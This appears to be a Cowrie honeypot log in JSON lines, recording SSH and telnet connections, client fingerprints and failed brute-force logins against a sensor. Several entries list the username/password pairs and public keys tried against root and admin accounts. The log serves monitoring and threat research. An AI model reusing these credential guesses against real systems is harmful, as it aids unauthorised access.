{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:37:41.240208Z","src_ip":"103.15.222.183","session":"9b6a35c6589a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:37:41.416257Z","src_ip":"103.15.222.183","session":"9b6a35c6589a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:37:41.677754Z","src_ip":"147.45.211.215","session":"6291cb1cae05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12031993","message":"login attempt [root/12031993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:37:42.355212Z","src_ip":"103.15.222.183","session":"9b6a35c6589a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:37:43.598811Z","src_ip":"103.15.222.183","session":"9b6a35c6589a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":55354,"dst_ip":"159.203.135.109","dst_port":22,"session":"6419efd6eb0f","protocol":"ssh","message":"New connection: 194.113.233.25:55354 (159.203.135.109:22) [session: 6419efd6eb0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:38:02.452405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:38:02.458576Z","src_ip":"194.113.233.25","session":"6419efd6eb0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:38:02.557021Z","src_ip":"194.113.233.25","session":"6419efd6eb0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5t6y7u8i","message":"login attempt [root/5t6y7u8i] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:38:02.838657Z","src_ip":"194.113.233.25","session":"6419efd6eb0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:38:03.936905Z","src_ip":"194.113.233.25","session":"6419efd6eb0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":53290,"dst_ip":"10.17.0.5","dst_port":22,"session":"28699159bb3c","protocol":"ssh","message":"New connection: 103.149.170.125:53290 (10.17.0.5:22) [session: 28699159bb3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:38:26.149880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:38:26.155519Z","src_ip":"103.149.170.125","session":"28699159bb3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:38:26.407548Z","src_ip":"103.149.170.125","session":"28699159bb3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k123456789","message":"login attempt [root/k123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:38:27.166334Z","src_ip":"103.149.170.125","session":"28699159bb3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:38:28.434084Z","src_ip":"103.149.170.125","session":"28699159bb3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":58264,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6295f99434b","protocol":"ssh","message":"New connection: 193.228.128.84:58264 (10.17.0.5:22) [session: a6295f99434b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:38:43.312525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:38:43.317443Z","src_ip":"193.228.128.84","session":"a6295f99434b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:38:43.419656Z","src_ip":"193.228.128.84","session":"a6295f99434b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"l12345","message":"login attempt [root/l12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:38:43.726556Z","src_ip":"193.228.128.84","session":"a6295f99434b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:38:44.844087Z","src_ip":"193.228.128.84","session":"a6295f99434b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00475025177002,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:38:48.677658Z","src_ip":"43.224.126.107","session":"d1f72d8aa4e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":41555,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dbf4a9e5147","protocol":"ssh","message":"New connection: 2.57.121.112:41555 (159.203.135.109:22) [session: 9dbf4a9e5147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:37.993661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:37.999256Z","src_ip":"2.57.121.112","session":"9dbf4a9e5147","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:38.104310Z","src_ip":"2.57.121.112","session":"9dbf4a9e5147","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"050297","message":"login attempt [admin/050297] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:38.590757Z","src_ip":"2.57.121.112","session":"9dbf4a9e5147","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"05021999","message":"login attempt [admin/05021999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:39.697541Z","src_ip":"2.57.121.112","session":"9dbf4a9e5147","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"05021995","message":"login attempt [admin/05021995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:40.805735Z","src_ip":"2.57.121.112","session":"9dbf4a9e5147","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"05021972","message":"login attempt [admin/05021972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:41.914731Z","src_ip":"2.57.121.112","session":"9dbf4a9e5147","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"050187","message":"login attempt [admin/050187] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:43.023179Z","src_ip":"2.57.121.112","session":"9dbf4a9e5147","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:44.134836Z","src_ip":"2.57.121.112","session":"9dbf4a9e5147","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.61.155","src_port":40522,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee22cc8542b4","protocol":"ssh","message":"New connection: 68.235.61.155:40522 (10.17.0.5:22) [session: ee22cc8542b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:46.681410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:46.686384Z","src_ip":"68.235.61.155","session":"ee22cc8542b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:46.716969Z","src_ip":"68.235.61.155","session":"ee22cc8542b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:a9:bf:1b:15:c4:4b:57:19:7f:52:71:4f:bd:d8:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5puW/27VCZOxCOJoqkX+zJS+sjkglaKrVlXU1cRwf12zJRwHdU1EkmaHf06rx2fqFeyyPIogExinQHFrHDmfr0tI9JFYdoaZpn4fsHFljvE39eAs2zLSgwC+dS914ij47ADEprxd21XwHSkMcYYvVv9AjigWr8Y9EHH0RENXgC6Lmes1cXy1PWirPyN42hrrBznCBjZqs4sAAQUbXh1HoNvLYVC0IS7Bpoe2/8fzXEKOLA9KTBTxnu4kmbUa6WmC8EzL32x9gI1wcdKq2wp3+ogs11Ah4B1oYtJDqqxrnouJ7u/d0eeMncPSRSoTZVidcrqsRrgYlkgo+TOYSXNY4XL/NlQqMLY8BE3F8+9Y/cgjhwKiw+EMB5M6UvyFneAeRz+wPc543j+9tdpAv7GgdBkarld8CYPtggwGJS1tq0AyjmnOAOejSehqGUy+vQQiSWJ9Sk2UwyyhBQUA5cJ2oAtSW2lAJM4jOb8Adr91ZlU48ScrcYd4DRvgX3VtaW9wFi3n/kl5lmLYhf6Nx/LmiDAS8pya4/StQrNfdk9c982lPr6b9+Y8Vt5HfrvBLWdbHO7NogJV5W4uEst7a+IEStlL1cthh6oPzv3OeHGTA8biG2lWQhPUdOkE/sHWSkwy7/LuPqgLBNjQs8B2A5+2GpBfGYMOe7F1lOXljsD7J+w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:a9:bf:1b:15:c4:4b:57:19:7f:52:71:4f:bd:d8:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:46.845127Z","src_ip":"68.235.61.155","session":"ee22cc8542b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:a9:bf:1b:15:c4:4b:57:19:7f:52:71:4f:bd:d8:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5puW/27VCZOxCOJoqkX+zJS+sjkglaKrVlXU1cRwf12zJRwHdU1EkmaHf06rx2fqFeyyPIogExinQHFrHDmfr0tI9JFYdoaZpn4fsHFljvE39eAs2zLSgwC+dS914ij47ADEprxd21XwHSkMcYYvVv9AjigWr8Y9EHH0RENXgC6Lmes1cXy1PWirPyN42hrrBznCBjZqs4sAAQUbXh1HoNvLYVC0IS7Bpoe2/8fzXEKOLA9KTBTxnu4kmbUa6WmC8EzL32x9gI1wcdKq2wp3+ogs11Ah4B1oYtJDqqxrnouJ7u/d0eeMncPSRSoTZVidcrqsRrgYlkgo+TOYSXNY4XL/NlQqMLY8BE3F8+9Y/cgjhwKiw+EMB5M6UvyFneAeRz+wPc543j+9tdpAv7GgdBkarld8CYPtggwGJS1tq0AyjmnOAOejSehqGUy+vQQiSWJ9Sk2UwyyhBQUA5cJ2oAtSW2lAJM4jOb8Adr91ZlU48ScrcYd4DRvgX3VtaW9wFi3n/kl5lmLYhf6Nx/LmiDAS8pya4/StQrNfdk9c982lPr6b9+Y8Vt5HfrvBLWdbHO7NogJV5W4uEst7a+IEStlL1cthh6oPzv3OeHGTA8biG2lWQhPUdOkE/sHWSkwy7/LuPqgLBNjQs8B2A5+2GpBfGYMOe7F1lOXljsD7J+w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:46.849394Z","src_ip":"68.235.61.155","session":"ee22cc8542b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:7c:f8:5b:cc:44:72:7e:3e:c1:6c:5a:d2:8f:cf:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoNMt6qqbpP8rTGY8aYaNDGfTNlwE0UAT2RuEeNbcTqB6Bej/4S83Z/tlkQd8woJ6yft5xWZwr7AytNOIkHJRJdt7k+0+v3fuNsz/GLBr0HUoXDaac7dXwGZImbfsBfUK5ucKNokkqdno+MYp3vX4uZ/KuBZwRILJfysWQq3zN4DKRRv7VROCBx92EwW6Kn8zYfeJnkrKHLBuBLgmZP7DwKXYxaENI3jpzRgZ1BwYvuzUTea3papd2lyimSIMgz2V5fsT9Sgemf65Ism4ZktBs9VExM67Jghv59rHzwEhCsHIdUY7uAI5PhTvBXL8s1N+BBswVFrYA9qqPlRCvQv6t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:7c:f8:5b:cc:44:72:7e:3e:c1:6c:5a:d2:8f:cf:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:46.880191Z","src_ip":"68.235.61.155","session":"ee22cc8542b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:7c:f8:5b:cc:44:72:7e:3e:c1:6c:5a:d2:8f:cf:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoNMt6qqbpP8rTGY8aYaNDGfTNlwE0UAT2RuEeNbcTqB6Bej/4S83Z/tlkQd8woJ6yft5xWZwr7AytNOIkHJRJdt7k+0+v3fuNsz/GLBr0HUoXDaac7dXwGZImbfsBfUK5ucKNokkqdno+MYp3vX4uZ/KuBZwRILJfysWQq3zN4DKRRv7VROCBx92EwW6Kn8zYfeJnkrKHLBuBLgmZP7DwKXYxaENI3jpzRgZ1BwYvuzUTea3papd2lyimSIMgz2V5fsT9Sgemf65Ism4ZktBs9VExM67Jghv59rHzwEhCsHIdUY7uAI5PhTvBXL8s1N+BBswVFrYA9qqPlRCvQv6t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:46.883283Z","src_ip":"68.235.61.155","session":"ee22cc8542b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.26.188.219","src_port":55300,"dst_ip":"10.17.0.5","dst_port":22,"session":"f602c6858075","protocol":"ssh","message":"New connection: 200.26.188.219:55300 (10.17.0.5:22) [session: f602c6858075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:46.904826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:46.909891Z","src_ip":"200.26.188.219","session":"f602c6858075","protocol":"ssh"}
